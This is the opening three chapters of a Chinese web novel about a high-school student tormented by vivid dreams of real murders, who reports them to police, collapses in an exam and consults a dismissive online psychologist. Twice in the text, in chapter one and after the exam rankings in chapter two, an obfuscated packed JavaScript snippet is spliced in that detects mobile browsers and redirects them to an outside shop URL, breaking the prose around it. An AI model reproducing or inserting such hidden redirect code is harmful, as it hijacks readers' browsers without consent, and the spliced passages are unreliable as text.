《我能看到凶案现场》 1. 第一章 今天,江州市警局来了一名报案人。 这是一名高中生,大约十七八岁。 在等候的过程中,他全程坐在椅子上,眼睫漆黑如墨,眼下有淡淡的青影。 他说自己看到有人死了,也看到了凶手,他主动要求进入审讯室。 很多人一辈子都没进过警局,不知警局内部的构造。 室内开着灯,这种强光灯太过于刺眼,照在人脸皮发烫,嫌疑人看了冷汗心虚、禁不住坦白交代。清白无辜的普通人看了,却会感到安全。 前面坐了两名身穿黑色制服的警察,男警面容端正严肃,目光炯炯有神。女警英姿飒爽,神色充满鼓励,怎么看都值得信赖。 看到他们,少年脸上表情渐渐舒缓下来,不复先前的紧张。 男警放轻声音:“介绍一下你自己吧,小同学你叫什么名字?看你校服是英华中学的,你成绩一定很好吧,读高二还是高三?” “江雪律。今年高二。” 一开始的寒暄很有必要,能放松心情,卸下心防。 “好的小江同学,你说你要举报有人行凶,行凶者是你的亲属吗……” 如果这样的话,少年眼皮下憔悴黯淡的青灰色就说得通了。 自己身边人犯下不可饶恕的罪行时,是选择包庇隐瞒,还是为了公理大义灭亲,足够普通人饱受折磨好长一段时间。 正好江州市最近发生了几起骇人听闻的案子,在报纸媒体大肆渲染之下,闹得人心惶惶,重压之下,整个警局上下焦头烂额。 今天,是线索自己长腿找上门来了。 室内明面上只有他们两人和一台摄影机,实际隔壁玻璃窗后还有好几名同事。他们满怀期待,心中猜测,这个未成年的报案人,到底准备爆出什么猛料,对他们手头的几起案件是否有帮助。 “放心大胆说吧,我们会保护好你的隐私。” 女警关闭了录影,只做了笔录,还给江雪律展示了一下严丝合缝的门,一点光都不泄露。这是一种心理暗示。 心理学上,密闭空间会令人有倾诉欲,大胆地开启话题,不用担心隔墙有耳。 江雪律摇了摇头,“不是我的亲属,是不认识的人……” 啊?不认识的人? 女警顿了一下,灵活地换了措辞,“那小江同学,你是目击者,目睹到了有人行凶是吗?” 两人没有停下记录,神色依然充满鼓励。 江雪律斟酌着用词,半晌他轻轻开口,“算是吧,我时而能看到行凶者的脸。” 少年人的声线好听,微微一点迟疑,并不影响那份干净清冽。 两人笔顿了一下,神色闪过一丝疑惑,这是什么意思? 他们还待琢磨,可令他们没想到的是,接下来这孩子简直像一个跑到警局的疯子,他嘴里蹦出来的话,一句比一句骇人听闻。 “警官,我要报警。我看到了,她不爱他,他杀了她全家,如今正陪在她身边温言软语,而她沉浸在伤痛之中,丝毫没有察觉……” “荒郊野外,一名红衣女孩被掳走,她有生命危险,必须赶紧去救她……” “国外酒店里有人持枪乱射,四处都是流血的尸骸和旅客的惨叫……” 警员们对视一眼,下意识抬手摸了一下额头,心底感到十分荒谬。 两人面面相觑,同事多年不用开口都能拥有默契,眼睛一望都流露出同一个意思:自从江州市高考严格后,又逼疯了一个? 清楚这些话太过异常,正常人都不会相信,少年的唇慢慢抿直成一条线,“警官,我没有撒谎,我发现自己不仅能看见过去和未来,还能看到凶手的行动—” 他目击一辆黑色轿车停在路边,车上一名职业杀手在跟雇主谈生意,“你下定决心了吗,我一旦出手没有回旋余地。” 雇主点头,“我早想他死了,你快动手!” 这是现在。 他看到有人嘴角带着疯狂的杀戮笑意,面容扭曲,朝着猎物高高举起了镰刀。这是一个连环杀手,他令北境城市无数家庭支离破碎,受害者家属围着白布下的遗体失声痛哭,白花飘了满城。 而二十年过去,凶手依然逍遥法外,还组建了家庭。 这是过去。 他还目睹了高楼崩塌,火光喷溅,整条商业街化为焦土,人间成了炼狱。那人说,“我不是在爆炸,是在进行一种盛大的艺术。” 他要给这枯燥乏味无聊的生活加一点调剂,把这个腐烂的世界炸上天。对方说完,就隐藏在人海之中,最终消失不见。 这是未来。 江雪律看到了太多太多,其中有曲折离奇的故事,有诡谲阴险的人心,以至于他噩梦连连。 也许这是一种超能力。 毕竟从那一天起,世界不少角落,许多人都变得不正常了。 旁人与数百上千年前伟大的文学家艺术家精神共振,不是办画展就是卖书,进而声名大噪。他偏偏与杀人犯共振,目睹了一桩桩惨绝人寰的案件。 一个未成年的高中生,偶然获得了这样的能力。 江雪律起初茫然无措。 他像一个无所适从的人,无意路过了深渊,听到了恶魔的低语,观望到了人间的惨剧。他置身其中,不知该何去何从,他甚至不知道自己能做什么。 少年手心汗水涔涔——他想了很久,最终只想到了一个答案,他要把自己上交给国家。 无论是当年零下三十度,至今未破的北境连环杀人案,还是即将发生、轰动全城的案子。 他想为国家指引真凶所在。 剑锋所指,无所畏惧! 所有人神色错愕,记录的手停了下来。 室内暖气正嗡嗡运作,这是一台工作了七八年的老机子,平时吵闹得很,被人百般嫌弃。 落针可闻,安静得诡异的室内,众人听到它嘈杂的响动,一如他们惊涛骇浪的内心,久久不能平静。 这孩子知道自己在说什么吗? …… 时间往回拨动。 数月前,有一日天空出现神秘星象,无数群星闪耀星体移动,这是天文史上前所未有的壮观景象,不少人亲眼目睹。那浩瀚无垠的神秘,还有一种不可言说的怪诞,令人着迷,引人探索。 占星博主激动地说,“这是难得一见的星辰交汇,大家快点许愿,一定会实现的!” 无数人双手合十,虔诚地许下愿望。 那时江雪律在家里,桌上的手机也在震动,短短几分钟,班级群聊消息上了百条,全部都与星星、许愿有关。班里的同学都兴奋不已。 不是许愿自己变美长高,要暴富发财,就是扬言说要考清北。 江雪律没有被煽动着许愿,这几天是江美琴女士的忌日,逝者已故,他深深地怀念着她,没有那份心情。 手边放着各色的试卷习题,他默默刷题。做完卷子后,他上床睡觉。 谁曾想一夜之间,什么都变了。 他被噩梦入侵了。 他本是一个普通的高中生。 从那一天起,从不做梦的他开始做梦,梦里充斥着血腥、恐怖与杀戮,严重影响了他的日常生活…… 又是一夜。 房间隔音很好,将这座繁华城市的喧嚣与窗外倾盆大雨一起隔绝,只有落地风扇呼呼吹响,为床上人驱赶走暑热的一丝烦闷。 少年独自躺在床上,咬着牙眉峰紧皱,手攥紧了枕头。整个人脸色雪白,两鬓渗出汗。很显然,他又做噩梦了。 这是第几次噩梦了,头痛欲裂的江雪律已经数不清了。 这一次噩梦依然真实,他面前躺着一具女性尸体,而他手里握着一把刀。 少年的手很漂亮,雪白的皮肉轻轻覆在清瘦的骨骼上,五指修长分明,他的手曾经握过红蓝黑笔、握过车把手,弹过钢琴、打过篮球……如同所有同龄人。 可自从梦魇降临,江雪律的手好似不属于自己了。 他握过手术刀、菜刀、斧头、锤子、棍子……甚至是一颗血迹斑斑的石头。 他这个缺乏想象力的人,从来都不知道,“自己”一旦想杀人,身边随处可见的东西都能成为杀人工具。 江雪律脸色惨白,他没有动。 在梦境里,他是一个旁观的傀儡。 另一只修长干净的手从他背后伸出,看似要亲密地拥抱他,实际上却穿过他,昂首阔步走向了前方。 这个真正持刀的主人,在梦里向他展示了一场利落又干净的屠杀,受害人生前惊恐绝望不断落泪的表情,深深印在江雪律的脑海里。 胶带隔绝了对方的惨叫。 “你叫了也没用,没有人怀疑我。”男人在说话,声音情深缱绻,似情人的低喃。那双成年男子的手,一点也没停下动作,他拿起了水管,冲刷起了一切痕迹。 “除非有人看到——可是没有人,警方也没有证据……” 我看到了! 血腥一幕出现在眼前,江雪律的理智几乎被吞噬,即使他知道这是梦,也忍不住在心里激烈万分地说。 …… 手机闹钟一个劲响,江雪律惊醒了,反应过度地在床上坐起来,又差点跌下床去。 在梦境里,他根本分不清现实与虚幻,直到闹钟响。 他头发汗涔涔,睡前新换的衣服,这一夜后又被汗水弄湿了,手脚虚软无力,脑海里还残留那挥之不去的血腥场景。 这是他饱受噩梦困扰的第无数天,心脏惊悸,脑子昏沉,他必须用冷水让自己清醒一下。少年麻木地换了衣服,前往卫生间,打开水龙头洗脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639414|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷水唤醒一丝神智后,他抬起脸照镜子。 下一秒可怕的一幕又出现了,他浑身僵硬。 恐怖感袭上心头。 卫生间的光线朦胧又柔软,镜子里有一个少年的身影,穿戴整齐,赫然是他。这面镜子在半个月前被江雪律砸碎了,裂出了无数的蜘蛛纹。 可这一刻,蜘蛛网被切割的镜子,映出了脸。镜子里的少年容貌昳丽,手握着刀,双手沾染血腥,朝他缓缓露出一个邪气阴鸷的笑容。 江雪律定定地看着,一双眼睛大得吓人。 青天白日的,他又出现幻觉了。 这日复一日的折磨,几乎快把一个本来脑子里只有学习的高中生逼疯了,他的理智步步被蚕食,已经接近崩溃的边缘。 —— 九月底,开学一个月了,江州市燥热的风还在,走在街上穿长袖校服的没几个人。 英华中学的大门修得美观伟岸,巨大招牌金光闪闪,用财大气粗的手笔告诉江州市所有人,英华中学就是全市最好的中学! 校门口摆了无数的摊子,所到之处人头攒动,步履匆匆。 “快点,要迟到了!” “阿姨早餐做得快一点,来不及了!” “日,我忘记背课文了!今天老师抽单号还是双号?” “背什么背,明天考试了,老师要抓紧时间上课,没时间抽人。” “啊靠,我忘记了!” 江雪律一路走去。 他感觉自己身体很虚弱,到了一个摊子,他顿了顿,停下脚步:“阿姨,给我一杯豆浆。” 卖早点的阿姨十分和善,“就一杯豆浆啊?其他茶叶蛋肉包子都不要吗?咱这里卖的都是鲜肉,一大早绞好的。”她快速地装东西,手脚十分麻利,根本没注意到,少年下颌僵硬,目光一点也不斜视。 “不用了。” 江雪律想到梦里那些恐怖的头发手掌尸体等场景,他就一点胃口都没有。 之前有几次,他吃肉,才吃一口腹中就翻江倒海,被迫弯下腰,蹲在路口干呕。 快迟到的不止他一个。 远远来了一个男高中生,骑着自行车,修长的手臂随手拎着书包,透着一股嚣张不羁的痞气。 正是一中的校霸封阳。 封阳正愁早上吃什么,远远就看到江雪律,眉梢顿时一挑。他没有打招呼,只是鼻子里轻轻哼了一口气,“这不是咱学霸吗,学霸啊学霸你再不快点,今天可要迟到了。” 不得不说,英华中学的校服那是真的丑,白色上衣,黑色长裤,既不修身也不保暖,每一届有幸穿过的学生都说丑。 可有人依然能把朴素得如同抹布一样的校服,穿成一幅极为养眼的画卷,那就是江雪律。 身材修长的少年,头发乌黑,眉眼优越,透着白色校服,脊背清瘦的清晰,手里拎着一杯豆浆,气质浑然天成。 更别提江雪律是什么人,英华一中的神话,人长得好看,也品学兼优,年年三好学生,他每一次垂着睫毛不说话,全班男男女女都为他胡思乱想心猿意马。 封阳也是这男男女女中的一员,自然注意到了这些日子江雪律的反常。 这段时间同班学霸越来越沉默寡言,白皙的脸皮下一片青黑越来越重,更是好几天踩点到校。 他目光紧紧盯着人。 一个大男人不好去留意别人的脸,他只能说,“江学霸你减肥呢,就喝一杯豆浆?这哪里顶饿啊。” 你没事关心人家吃什么…… 旁边的小弟欲言又止。 封阳一边嘟囔,一边不紧不慢地放缓了车速。 都是同班同学,他以为江雪律会回应他。 要么抬头默默地看了他一眼,要么冷淡的颔首。可是今日,江雪律头也没抬,游魂一般从他面前走过。 这样的无视,封阳皱起了眉,他本来骑自行车速度很快,横冲猛撞也不怕撞到人,这下彻底放慢速度,跟在江雪律背影之后。 他本来没有必要放慢速度。 江雪律也有一辆自行车,以往都是骑车来上学。可不知道怎么回事,有一次少年一瘸一拐来上学,那饱满的额头擦出了一条血,手掌也破皮,这些伤口在好看的脸上无伤大雅,没有减损精致度,反而有一种心惊肉跳的战损美。那一日班级走廊外,不少人都偷偷瞟他。 据说是神游时出车祸了。 得知这个答案,包括他在内的不少人都大吃一惊。 这也太精神恍惚了,学霸本人到底熬夜做题到多晚啊?一点也不爱惜自己的身体。 大白天的居然骑车都能游神。 我们才高二,没必要那么拼吧。 他本来以为,江雪律那天的状态已经够差了,没想到今日更差,瞧瞧那脸多白啊。明天考试没问题吧? 2. 第二章 江雪律这一段时间的反常,精神恍惚,应该是每天都在熬夜做题——这是一班同学近来心中悄悄浮现的猜测。 不然种种疲倦憔悴根本无法解释。 他们心想,不愧是学霸,一定是太努力了。 封阳一开始也这样认为,渐渐地他发现不对劲了。 高二第一轮月考,检测的是这一阶段的学习和高一所有知识复习。今天各科老师齐上阵,果然没有浪费时间抽背,嘴里说的都是明天的考试。 天气太热了,学校不给开空调,老风扇吱呀吱呀转,众人心里都烦闷燥热,可是根本不敢松懈。 按照老师说的,一个个老老实实呼啦啦地翻书找卷子,然后就被灌输了一堆东西,什么这个题型是历年考点必考,那道公式很重要,通篇下来,半本书都是考点。 这么多!怎么可能看得完!高一学的东西,经过一个暑假早忘记了! 封阳随便跟着翻了几页,最后烦躁地合上了书,决定摆烂。 他余光去瞄学霸,发现对方侧颜很安静,似乎岿然不动。 果然是学霸,这一次小小的月考自然不放在心上。他哼哼唧唧,心里划过一丝自己也说不清道不明的欣赏。 这一段时间还天天熬夜学习了,这一次月考该不会在一鸣惊人的基础上又要更加令人震惊了吧?以往甩第二名二三十分,这一次打算甩几分? 作为一个家境优越的富二代,封阳很少佩服什么人,父母双亡却还成绩人品优秀到出类拔萃的江雪律是一个。 旁人以为江雪律胸有成竹。 可只有江雪律的前桌知道,他每一次转头看学霸,发现少年往日那双黑如浓墨的眼睛,空洞无神,一点亮光也没有…… 他的目光下移,落到江雪律的手,更是心惊肉跳。 学生时期,前后桌和同桌关系是相当亲密的。江雪律的一些改变,逃不过前桌的眼。 前桌这就发现,少年最近瘦了很多,白色校服下那一截腕子,几乎快瘦出形了。 怎么回事,这也太瘦了。 这好像不是学习过度造成的…… 注意到底下同学开小差,班主任姚老师拍了拍黑板,大巴掌激烈的动作震下了无数粉笔灰,他冷冷一笑:“都给我回神了!明天就考试了,你们背不下来也要背!以往小考不排名,这一次是开学第一场月考,会出成绩排名,成绩差的会叫家长,给你们紧紧皮!省得你们以为可以随便糊弄!” 话音刚落,班上同学没心思想别的了,开始拍桌子鬼哭狼嚎。 学渣在心里哀叹之后呼喊,那快点考吧! 虽然他们很不想考试,可学校考不考又不以他们的意志为转移,那干脆快点考! 不然他们背的公式快要忘了。今天晚上再睡一觉,明天都不知道能记住多少零碎的知识点。 一片鬼哭狼嚎中,江雪律安安静静,沉浸在一种孤绝的氛围中,好似与周遭格格不入。 最后一节课,老师道:“好了,大家把自己的东西收拾了,不要留下任何书本习题,单号的同学留下一半的桌子,双号的把自己桌子搬到走廊。有力气的帮没力气的同学搬,大家都收拾完了才能走。” “知道了。”班里立刻响起了拖拉桌椅的声音。 桌子较重,木腿在地板上摩擦出的声音尖锐,此起彼伏,混成了一首难听的曲子。 江雪律昏沉了半天的脑子忽然一惊。因为他想起,他梦到过一个外国男人用切割木头的锯子,切割一个受害者,把对方大卸八块。那一夜锯子的声音响到了天明。 他迅速回头,发现是搬桌子造成的声响,一瞬间发现自己反应过度。他是双号。他沉默下来,开始搬自己的桌子。 他桌上堆的都是教材试卷,他缓慢地将东西收入抽屉,然后搬起—— 他在搬桌子。 可谁曾想,下一秒,他手里笨重的桌子忽然变成了一个四四方方的行李箱,皮质老旧,边缘有磨损的痕迹。 随着他双手将行李箱搬起来的动作。 行李箱拉链部位,和四角边缘渗透出无数的血迹,好似里面藏了一个身高不到一米六的人,那些温热的血落在他掌心里……是谁行李箱藏尸,而他搬的又是谁的行李箱!? 感受到手掌心的黏腻,那血顺着他的手指尖不断往下滴落。 江雪律瞬间脸色煞白,将“行李箱”丢了过去。 “咚”地一声巨大声响,全班震惊的目光都望了过来。 怎、怎么回事? 他们看到江学霸浑身僵硬,像是受惊过度一般嘴唇微张喘气,而他面前是被丢出去的课桌。桌子整个倾倒,抽屉里的试卷草稿纸全部散落一地。 天啊,学霸这是怎么了,这么暴力地把桌子丢出去。 他们后知后觉,这好像有点不正常—— 江雪律心脏抽搐了几秒,片刻后回神,发现自己沐浴在同学惊恐疑惑的目光中,他狼狈地走过去,重新捡起东西。 我已经神经衰弱了,江雪律浑浑噩噩,初步判断。 —— 第二天考试开始。 无数人再不情愿也拖拖拉拉地进入考场,封阳也是。他的座位正好在江雪律的左后方,一个视力好一点,就能完美地把对方和对方的卷子映入眼帘的绝佳宝座。 他很满意这个位子。 他坐下。 卷子还没发下来,很无聊,他目光只好往前看。 然后他就注意到了,江雪律的样子。少年的黑眼圈比昨日还深,精致的五官难掩疲惫,眼睑微垂,一种难以形容的憔悴和死气蔓延出来。 对方看上去很困的样子。 ……不是吧,今天要考试,昨天晚上又熬夜了吗? 封阳皱起眉,不知道该说什么,他从没见过这种狠命学习不要命的。他搞不懂,江雪律已经是年级第一了,为什么还要这么拼。 如果他跟江雪律关系好一点,他一定得劝劝。偏偏他跟江雪律只是点头之交,互动比水还淡,他还常年是成绩一直徘徊在中下游的学渣。封阳脑子不傻,深知自己如果贸贸然去劝一名学霸不要刻苦学习,学霸一般不会听,搞不好还会以为他有什么居心。 可他又能有什么居心呢。 大少爷只是看不惯这种豁出命的学习方式。 他腹诽的时候,卷子发下来了,他只能暂且收回目光,他拿起笔开始做题,然后就是“卧槽什么鬼题目好难”。 这道题不会,那道题也不会……这道题的公式是什么,下一道题目都看不懂算了,这题才八分我不要了。 一场考试两个小时,才半小时他就结束了战斗。 他合上笔帽。 老师说了不能提前出考场,他只能发呆了。 在这时,封阳在心里悄悄道歉,学霸啊学霸,我不是故意看你的,谁让考场不能玩手机呢。 他理直气壮地往前方看去。 作为同窗一年的同学,封阳对江雪律的种种习惯如数家珍,比如知道江学霸草稿纸一般放左边,橡皮擦放右边,别人的草稿纸满满当当,可江雪律的草稿纸常常如他的脸一般干净。再比如江学霸打辅助线不用尺子,惯用笔不是那些花里胡哨的,只喜欢0.5的孔庙祈福等等。 然后他就看到了这一场考试,江雪律的不对劲。 对方眼神下垂,浓密纤长的睫毛颤抖,像是在游神,依稀写了几行,最后似乎累极了,少年机械地找到笔帽合上,然后额头轻轻靠在左手臂,整个人安静地睡着了。 ??? 从来没有过这么明目张胆的考场睡美人。 封阳和后面的同学都惊呆了。 …… 江雪律握着笔,从考试铃响那一刻起,他就知道。 自己完了。 他的状态很差,他的脑子仿佛蒙了一层雾,以往迅速看完、心中自然浮现答案的题目,他花了三四分钟才勉强捋清楚数字与数字之间的关系。 然后他迟疑地落下笔,甚至还用上了草稿纸,近乎麻木地在稿纸上越写越多,字迹越来越凌乱。 他人坐在椅子上,灵魂却好似被一个无形的黑洞窃取走了。 那些噩梦果然严重影响了他的状态,让他每一次提笔都心生茫然。好在这一次月考并不难,有一些题较为经典,他完全凭着肌肉记忆慢慢地答上了,然后他实在太困了,视线越来越恍惚。 “叮铃铃”尖锐刺耳的考场结束铃响起,象征着一切尘埃落定。 江雪律走出考场时,他苍白的脸颊有一层红印,是睡出来的。两个小时的考试时间,他足足睡了一个小时。 另一边。 “雪律!”隔壁考场有人叫他。 那是一个长相清秀的男孩,个子也高,戴着一副笨重的黑框眼镜,却遮不住那眼镜下俊逸灵动的双眸。 是周眠洋。 周眠洋跟江雪律是发小,两人一起长大感情很好。这一次月考不是很难,周眠洋酣畅淋漓地答完题,还有二十分钟能检查试卷,他自我感觉良好,所以一出考场想跟人对答案。 说实话这种行为很招人烦,如果不是他平时大大咧咧性格好,早收获一筐白眼了。 周眠洋笑容满面。 “律律律,最后一道大题的答案是不是根号二!肯定是根号二对不对!”他当然高兴了,最后一道大题可是十分!如果答对了,他的年级排名就要往上飞二三十名。 他为什么问江雪律。 他的好友可是学霸,不问他问谁。 “不对吧,我算了三遍,应该是二分之根号三。”另一个学霸推了推眼镜,走了过来,眸光尽显聪慧。 周眠洋:“不对,我算的是根号二,你的步骤有问题,你肯定第三步就错了。” “怎么可能!我都说了,我算了三遍!”说着说着,周围聚集了一群人,全都是把最后一道大题做出来的大学霸。学渣们对这种人都是眼神幽怨羡慕然后敬而远之。 “怎么不可能,雪律,你告诉他!”周眠洋很不服,拉了一把好友,想让江雪律说出他的答案,到底是根号二还是二分之根号三! 在场人都知道,江雪律做出来的答案就是正确答案! 这一幕很常见,几乎每一次数学考试结束后都要出现。每一次江雪律淡定地说出答案时,另一波人都要哀嚎,心疼自己痛失十分。 偏偏这一次江雪律没有吭声,众人心生疑惑。 封阳走过,叹息了一声:你们的学霸不会回答你们的,他最后一面交了白卷。连题目都没看到,怎么可能知道正确答案。 几场考试下来,有人笑容满面,有人哀哀戚戚。江雪律之后再没有睡觉,他强打着精神完成了所有答卷,也因此他的脸色越发冷白,两颊泛着青。这时候,即使再迟钝的人,包括监考老师、同班同学乃至隔壁班同学都发现不对劲了。 等到考试成绩一出来,更是印证了他们的判断。 第一名:陈暮,总分716 第二名:唐季明,总分709 第三名:秦晓晓,总分701 第四名:薛子熙,总分689 第五名:江雪律,总分671……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639415|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>嘶,众人倒吸了一口气,揉了揉眼睛不敢相信自己看到了什么。 我的天哪—— 瞧瞧他们在竞争激烈的角逐中看到了什么,他们看到了全校排名,江雪律只排到了第五名,而且跟第六名只有一分的差距。 英华中学只是江州市的一所重点中学。 如果这一次成绩换成全市排名,他更要被淹没在人群里。 江雪律年年都是第一,无论是英华中学的考试,还是全市统考,他都像一个手握水晶权杖、沉稳睿智的少年国王,牢牢坐在他的王座上。无论第二名第三名是谁,厮杀如何激烈,名次怎么变动,他的王座自始至终都固若金汤。 什么九中、腾华其他学校的人也无法超过他。 有些人就是如此,从小到大优秀,拿奖拿到手软。 他们从没想过,有朝一日,会亲眼见证学神的陨落,他被人,从高高在上的王座上狼狈地扯了下来。 落入了凡人的地步。 前四名也在红榜前,他们也傻了,心中有自己成绩的欣喜,也有一种惴惴不安,他们都不知道自己做了什么,怎么就把英华的神给拉下来了。 等成绩传回一班,更是全班哗然,有人惊叫:“怎么可能,他才考第五名?那前四名是什么怪物?” 所有人集体扭头去看少年,因为太震惊了,脖子几乎偏转了九十度。 少年整个人脸色空白,如一座雕塑静静坐在他的位子上,周围是真空地带。他沉默着,似乎没有被成绩击垮,更好似,他没听到自己的排名。 整个班都安静得诡异。 不知道该用什么态度去面对考差的学霸,一时之间所有人的态度都变得小心翼翼起来。 有人不信邪,去老师办公室找具体的成绩单。 封阳把年级排名拿起来看,果然在第五名看到了江雪律的名字,再定睛一看数学,只有118分…… 睡了一个小时能考118分,不知道算是厉害还是失误。不过其他科成绩也各有缺憾,拼凑起来只有六百多分。 这年级排名足足有三页。 封阳翻了一页找到了自己,自己在五百名开外,发挥一如既往的稳定。就是如此才令人惋惜,有人一如既往的稳定,有人却严重发挥失误。 他心里有点为江雪律着急,这一次考试只是学校准备的开胃菜,很多人都随便应付的,一个多月后那一场考试才重要呢,全市统考,还要录入学籍。申请国外名牌大学或者申请保送时要参考,非常重要。 他看江雪律那憔悴状态下滑的样子,似乎一时半会儿没有办法恢复的样子。 神是英明睿智的,任别人打生打死,他自岿然不动。神偶尔一次失误,众人不会感觉如何,可如果再一次失误,这个神恐怕就要被小觑了。 骄傲如那个少年,真的能忍受这个结果吗? 周眠洋也是这样想的,他坐过来,想安慰一下江雪律。他这时候才发现,江雪律脸色很糟糕,校服下那脊背都瘦出形状了。 “雪律,你最近怎么了,你真的在熬夜学习吗?”他忍不住关心道,他伸出手,想抱住自己的好友。大大咧咧的男生,手掌穿过脖子想拍肩膀。 可他手掌刚落下,少年忽然推开他,厉声道:“别碰我!” 他眼前闪过一幕——高大的男子,从身后掐住了被害人的脖子让对方失去知觉。脖子纤细又脆弱,是人体很重要的部位,一旦承受激烈的扼喉又不能迅速解脱,就会窒息而亡。 而那个梦中,被害人激烈反抗最终呼吸声微弱下去。 自从江雪律开始做梦,他发现人全身都是弱点,从眼睛、脖子、脊椎骨到膝关节、小腿处处都是弱点。眼睛被戳就会丧失行动力,膝关节受到猛击,就会丧失行动力无法站立,脊椎骨被击中,更是容易陷入瘫痪。 他条件反射地变得敏感防备。 我、我只是想搭你肩膀安慰你,好兄弟不都是这样吗…… 周眠洋目瞪口呆,感觉好友身上散发着一种他很陌生的气质。他很懵,也有点受伤,“阿律,你最近怎么了?你变得好奇怪。是不是我做错了什么?” 随便碰一下就这么反应过度,那力气好大,都要把他推下椅子了。 江雪律回过神,看着周眠洋受伤的小表情,他心里慢慢升腾起一种汹涌澎湃的烦躁和愧疚。 自责快把他淹没了。 尤其是周眠洋没有怪他,反而更加对他嘘寒问暖。 明明是他的错,他心理出现问题了。 也是这一刻,江雪律前所未有的意识到,这些该死的梦境如阴魂般缠绕,让他濒于毁灭,如果他再不自救,他的生活、朋友都会一一失去。 他必须得做点什么。 他拿出手机,在网上找到了免费咨询热线,找了一名不要钱的心理医生,想初步了解一下自己的心理问题。 他斟酌语句,缓缓敲下键盘:“请问医生,梦是什么东西?” 这个负责网络咨询的心理医生似乎顿了顿,三分钟后告诉他,“这位患者,根据弗洛伊德的研究表示,梦是潜意识的反应。” 少年抿了抿唇,再一次慢慢打字,清脆的键盘声回荡在房间里。 “那……请问医生,如果有一个人,他时常梦到血腥暴力事件,他在梦中残忍地杀害了无数人,以至于白天精神恍惚常常分不清梦境与现实,请问这个人他是怎么了?” “我梦到过我用很多种凶器,还把别人装入行李箱……还有……” 这句话一出,轮到心理医生愣住了。实不相瞒,他有点被吓到了。 3. 第三章 电脑那一头,穿着白大褂的实习医生,手里正优哉游哉捧着保温杯,泡着两三颗红枸杞。 他虽然是没有资质凭证、只能混迹网络,从那些大医院诊所里扣点漏网之鱼的野鸡医生,可他早已训练出熟练应付各种患者的话术。 一开始见新患者问梦,他想都没想打开“梦咨询”文件夹,复制粘贴一片:“这位患者不必忧虑,无论梦是好是坏,皆是人潜意识的表现,根据科学研究表明,人潜意识中存在着被压抑的欲望和冲动,这些欲望和冲动会在梦中得到释放……” 洋洋洒洒一大段,显得他很专业。 几乎是秒回,少年愣了片刻,看完后,眼眸里闪过一丝复杂。 这段话提炼出来的意思简单明了,梦是你压抑的冲动。 而如果做了噩梦,一般是现实中压力太大,对现实充满无力又不满,转化为一个个宣泄之梦。 江雪律低下头想了想,他对现实有什么不满吗? 他虽是一个父母双亡的孤儿,可母亲在临终前已经为他安排好了后路,他少年时期沐浴在爱中长大。进入学校后,他也没有因家庭原因受到同年龄人的欺凌,老师关心,同学爱护,他能有什么不满呢…… “医生,我对现实没有什么不满,那些梦有些奇怪,全是杀人之梦。” 医生:“哦,你潜意识渴望杀戮,这不是问题,你近期是否浏览了一些犯罪电影?若大量欣赏暴力美学,很容易受影响。请患者一定要正确引导自身,以免走上歧途。” 这段也是他从word文档里复制粘贴。 他也没看那些电影。 江雪律轻蹙了一下眉宇,他缓慢打下字:“医生,这些梦非比寻常,太过于真实……我几乎难以抽离。” “我梦到我杀人,不止一个人……我在荒野中弃尸,我把人装入行李箱,还有碎尸裹塑料袋沉塘……”这是他梦到过的杀人毁尸灭迹一百零八种方式。 江雪律敏锐地认为这不是自己的潜意识,因为这些东西,已经骇人到,远远超越了一个高中生能承受的地步。 他人生只活了十七岁,即使穷极想象力,真的能想到那么多匪夷所思的杀人方式吗? 当然不可能—— 除非他有双重人格。 想到这点,少年抿了抿干燥的唇,心想似乎也不是不可能。 唉,他又遇到杠精患者了吗? 果然他不是大医院的坐诊医师,就容易受到质疑。那些专家问诊的咨询费按分钟计时,一小时数百美金还客似云来,患者不敢质疑。而他为人答疑解惑,却是免费,免费的东西就是不受人珍惜。 医生放下保温杯,翻了个白眼,不是很想回复这个患者。 直到咨询页面上飘出了血腥文字,他吓了一跳。整个人倏然一惊,身上的寒毛竖起,直冲天灵盖。 随着江雪律娓娓道来,这名胆子不大的医生僵硬地捏着杯子。明明是炎热的九月秋老虎,他却感到脚底发寒、毛骨悚然。 每多一点信息披露出来,他的心脏就一颤一颤,眼睛越瞪越大,瞳孔里充斥着不敢置信。 半天过去,见江雪律有停下的意思,这名医生一改之前的敷衍,迅速回道:“还、还有呢,你详细说说。” 什么叫妇女儿童老人乃至小动物,你一个都不放过,你详细说说! 连杀人手法、对象选择都描述得这般详细,一清二楚,找医生有什么用,你还是投案自首吧! “自、首、吧!” 打下这句话时,他心激烈地怦怦直跳,生怕激怒了屏幕那头不知是人是鬼的杀人魔。 这三个字他花了平生很大的力气,还没发出去,忽然他看到了咨询人的身份信息,“男,16周岁”。 这个信息一出,好似一盆冷水浇了下来。 这居然还是实名制咨询,而不是匿名,真的会有罪犯傻到实名制问诊吗?当然不可能。 看着这明晃晃的年龄,医生就知道,他被骗了,或者说被一个精神病或者中二病少年玩弄了。 一个十六岁少年,即使从出生就开始杀人,也不可能杀那么多。 他的口气瞬间冷了下来,“孩子,你作业太少了吗?小孩子不要随便上网问诊。” 这年头高中生不是睡得比狗晚,起得比鸡早吗,学业压力大吗,怎么还能上网调戏医生! 想来还是作业太少了。 医生义愤填膺,心里非常不满:他虽然免费,也是有尊严的! 想到他刚刚居然把那番对话当真,还差点劝人自首,稍微一回想,他脸皮就臊红,恼羞成怒。实在不想应付一个高中生了,他点击“结束”,率先结束了这场心理问答。 